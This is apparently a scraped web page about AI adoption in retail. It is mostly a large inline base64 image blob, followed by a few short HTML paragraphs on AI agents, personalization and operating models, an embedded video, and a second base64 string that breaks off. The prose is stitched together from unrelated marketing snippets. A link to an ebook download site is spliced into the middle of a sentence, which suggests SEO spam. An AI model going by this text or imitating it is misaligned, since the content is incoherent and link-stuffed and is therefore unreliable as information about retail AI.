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" width="259px" alt="AI adoption in retail"/></p>
<p><p>Fashion retailers, for example, are using a combination of AI-powered capabilities, including dedicated agents and image recognition, for customized recommendations, wardrobe analysis for style and patterns, and even virtual try-ons. More recently, retail businesses have begun to use AI agents for both front-end and back-end tasks. Such AI capabilities embedded in retail systems can cut labor costs, and reduce the risk of human errors, while improving customer experience. AI mimics the intellectual mechanisms of the <a href="https://scriptmafia.org/ebooks/607203-omnichannel-retail-a-strategic-approach-for-planning-and-decision-making.html">https://scriptmafia.org/ebooks/607203-omnichannel-retail-a-strategic-approach-for-planning-and-decision-making.html</a> human mind but can process information at a scale and pace that no human can match.</p>
</p>
<p><p>That means establishing responsible AI guardrails and human-AI decision rights, and building investment frameworks that track value, not just activity.​ To embed AI at scale, retailers need to transform all components of the operating model (Exhibit 2). In the face of these changing customer behaviours, widespread adoption of algorithms and new channels, retailers will need to make dramatic changes over the next few years to evolve their operating models, capabilities and investment priorities. Competitive retailers will instead have distinctive customer value propositions (CVPs), smart rules that shape algorithms and human critical thinking to spot friction, identify whitespace and build new strategic narratives.​</p>
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<p><div style='text-align:center'><iframe width='568' height='319' src='https://www.youtube.com/embed/9iW7tFHf8eg' frameborder='0' alt='AI adoption in retail' allowfullscreen></iframe></div>
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<p><p>Monitor citation rates, identify content gaps, and generate governed content that AI will actually cite. Our in-depth understanding in technology and innovation can turn your aspiration into a business reality. The future of AI in retail will focus on further automating processes, enhancing customer personalization, and advancing autonomous technologies such as cashier-less stores.</p>
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WjsU6OWLDmLRCP4BVb0/wDxUuP14/5hVnoq7+j1iucbrWMZ/qioB59/lA1plwY7TBH+rb/irVfR5+K8Y/2r/GqDV+g6aXpNxeDUGlMKbthiAz681oPo9/FlP2z/ABqzqtEKxuw6SXkvTS50eZYzbgsIyFwwIGefb21H+kOzjnOlOw8prjqSR2q2PlUux6NXMHTC51iaWLqGLGNVJLZIxx4YHbVb031OCbV9K0+F1d4rhZJcHO05AA9PP3VBJp9fvH0vQbq6tgoeGPyARwB4AcKidDdWudY0QXF4VaZJGjLAY3Ywc49dL6ZfirqH6g/mFefaJ0svtDsmtba3t5EZy+ZA2ckDuPhSiLNd0VgS36WdIYoxhQ6EDuyWP21RfSL+M1r+7p/O1WfQG+k1LWdYvJlVJJhGxVOQ5irTpB0Tj1zUo7xrxoTHGE2hA2cEnPPxotME/pR+LOo/sG+FYX6OoOs6RPJjhFbsc+JIHzrddKPxa1H9g3wrL/RjD/1hcEfmRj3k/EUXQ+Tdblk3pnOPJYerPwNeM6dCbbpPaQHnFfInskAr1TSrnrtU1eLOequEA9BjX7Qa891CAW30hiMDAN/G/wDEyt9tEGepXUCXVrLbyjKSoUYeBGKyP0cQvbW2pW8ow8VzsYeIGD8K2DyrG8aseMjbV9OCfgDVZpdp9U1nVtows7xzDHiCD71PtqCSg0v/ALUNT/YfZHUvpr0ivNAex+qJE6zb94kUnONvLB8TUTS/+1DU/wBh9kdQ/pT87TPRL/YoDX6nGmpdHblWXyZ7YsAeOCVyD6jiqn6O/wAV4/2r/GriP8X1/dR/JVP9Hf4rR/tX+NAMdGYkbpl0hmIG9HVQe4EnPwFHSLpBfaf0u02wt2UW0uzrFKg79zlTx7MAcMVXaXq8WmdP9UhuWCRXUhTeeSsOWfDiR6xWh6UdHF1uKOaCXqL+DjDKCR44OOPPt7KAj/SHCknRaV2GTFIjKe45x8Catl/Fwfun9ivJdXl1q3lksdUurskcWjlmZlbuPPBFetL+Lg/dP7FAUn0bfi037w/wWofTiy26/ot+o4PMkTnxDAj4n2VM+jb8Wm/eH+C1Z9ILddR0pJIxua3uElXPYUfDe7dQEL6QeHRWb9on81WWhRradGbEKoGy1ViB2krk+/NVv0hfirP+0T+arWw/Fy2/dF/kFAUXQbpDfa296l+yN1e1kKrtwDnh6OFZ76QYVj6S7lABlt0dvE5YfACovR6w6TRWv1zRY2WK4GC4aPytpI5Me/NR9dXV/r6/dzd9a6obc7fMycebw55qH0XitlaBXQtLC0oLWbZsoiduK6BTgPeKWqg8qlshIEHA16R0H/Fe2/Xk/navPlj8knFehdCeHRm3/Xk/nakHbIyqkjzvVl/pupH/AOom/nNep3kslvoU80TbZI7ZmU4zghcivMNWXN1qR/8AqJv5zXpupfi5dfuj/wAhqyM5Lopeg+rajqi3v3Rn60x7NnkKuM7s8h4Uxdj/AKTrQ/7EfyvXPo9GPr//AKf9ql3Y/wCkm0P+y/sPVirWyb011K90zT7aSwm6mR59jHaGyNrHtB7qwl3rVxeyLJqFx18iDavkquB6hXoHS7RrnW7CCC0aINHLvPWMVGNpHYD31gNd6LX2i2Yu7lrYxFwgEbknJz3gd1E2nohpNbI7XIkUbQOfYD8a9V125ltNDvbi3fZLFCzI2AcEDxrxiKQ7lyxPEYA5CvadZtJL/R7u0hKiSaJkUscDJHbUuTl2Qoxj/FHmN7r2s38HVX0/XQBg23q1Xj6QK9D6Nnf0UszjAaDl7axtz0U1ewsprmdrRooI2dgJGJwBk48nia2XRk7uitkQMZg5e2l6oUrsOil4NQ6NWMrcWR